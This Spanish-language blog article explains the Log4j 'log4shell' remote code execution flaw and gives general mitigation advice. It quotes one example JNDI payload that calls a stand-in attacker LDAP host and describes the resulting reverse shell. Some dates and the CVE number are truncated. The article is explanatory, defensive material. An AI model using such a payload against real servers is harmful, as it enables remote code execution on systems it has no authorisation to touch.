Análisis de malware

Log4j: la vulnerabilidad de ejecución remota de código que detuvo al mundo

9 de marzo de por Pedro Tavares

Log4j es una herramienta de código abierto para fines de registro y varios servicios de Internet la utilizan habitualmente. En noviembre de se encontró una vulnerabilidad crítica ( CVE–44228 ) denominada log4shell en esta biblioteca, y su explotación exitosa puede conducir a una condición de ejecución remota de código.

Acerca de la vulnerabilidad log4shell

La vulnerabilidad Log4shell es una falla crítica identificada en la herramienta de registro Log4j, que es ampliamente utilizada por computadoras de todo el mundo, tanto en un contexto personal como empresarial, como un diario para realizar un seguimiento de lo que sucede con el software y los servicios. Esta vulnerabilidad crítica ha afectado a un gran grupo de entidades, incluidos individuos, organizaciones, gobiernos, etc. Se puede lograr una condición de ejecución remota de código cuando se explora con éxito, poniendo al objetivo en riesgo.

Un gran grupo de servicios en línea y paquetes de terceros utilizaron esta biblioteca con fines de registro, e identificar el uso de esta herramienta vulnerable no se considera un proceso trivial debido a su dimensión y complejidad. No obstante, la mayoría de los servidores web, aplicaciones, dispositivos de red y otro software y hardware han utilizado Log4kj durante años. Esto crea un panorama de ataques «infinito». Debido a esto, las organizaciones deben prestar atención e investigar internamente, tratar de descubrir si el software utilizado es vulnerable, mantener una comunicación directa con los proveedores y tomar todas las medidas necesarias para corregir la falla crítica.

Cómo funciona log4shell

Según la publicación de TrendMicro , la explotación de Log4j se puede dividir en diferentes etapas de ataque:

1: Etapas del ataque Log4j en un servicio en línea vulnerable ( fuente ).

En resumen, el diagrama presenta las etapas principales de cómo explorar la vulnerabilidad Log4shell en un servicio en línea vulnerable manipulando el encabezado User-Agent de la solicitud web HTTP.

Como se observó, la carga útil especialmente diseñada (un JNDI malicioso) se agrega al encabezado User-Agent, que la aplicación web vulnerable registra sin desinfección mediante el uso de la biblioteca Log4j.

Después de eso, la carga útil se carga («${jndi:ldap://attacker/a}») e intenta comunicarse con el servidor LDAP interno en la red, un ataque típico realizado en evaluaciones de equipos rojos. En caso de que la carga remota de clases Java esté habilitada, el comando se ejecutará exitosamente y la respuesta LDAP puede devolver dos respuestas diferentes:

  1. La respuesta HTTP con la carga maliciosa incorporada
  2. o la respuesta con detalles sobre el objetivo (bingo).

Después de ejecutar la carga útil objetivo, aparecerá un shell inverso en la máquina del atacante (el código utilizado para crear la carga útil JDNI inicial).

Entendiendo Log4j

La vulnerabilidad de Log4j fue rápidamente explotada por adversarios en cualquier punto del mundo, y millones de ataques fueron detenidos únicamente por Symantec, como se demuestra en la 2.

2: Parte de los ataques fueron contra servicios geolocalizados en EE. UU. y Reino Unido ( fuente ).

Si bien la identificación no es un proceso sencillo, implementar varias medidas puede ayudarlo a detener este tipo de ataques temprano y prevenir riesgos potenciales para su negocio.

¡Conviértete en un ingeniero inverso certificado!

Obtenga capacitación práctica en vivo sobre análisis de malware desde cualquier lugar y conviértase en un analista certificado de ingeniería inversa. Comienza a aprender

En este sentido, la regla general es asegurar y limitar internamente la conexión a Internet de los activos críticos. Esto es parte del análisis de riesgos y debe realizarse antes de cualquier implementación o actualización de configuración. Si la aplicación de destino no se comunica con Internet, los adversarios no pueden explotarla.

Este tema recae en el control del perímetro de seguridad de la red, protocolos de red, configuración de servicios, etc. Una buena oportunidad para identificar las debilidades es la ejecución de un ejercicio de equipo rojo para determinar posibles vectores de ataque.

Por último, pero no menos importante, mantener actualizados todos los activos sigue siendo la medida obligatoria dentro del menú de ciberseguridad para protegerse contra ciberataques en la naturaleza.

Fuentes:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *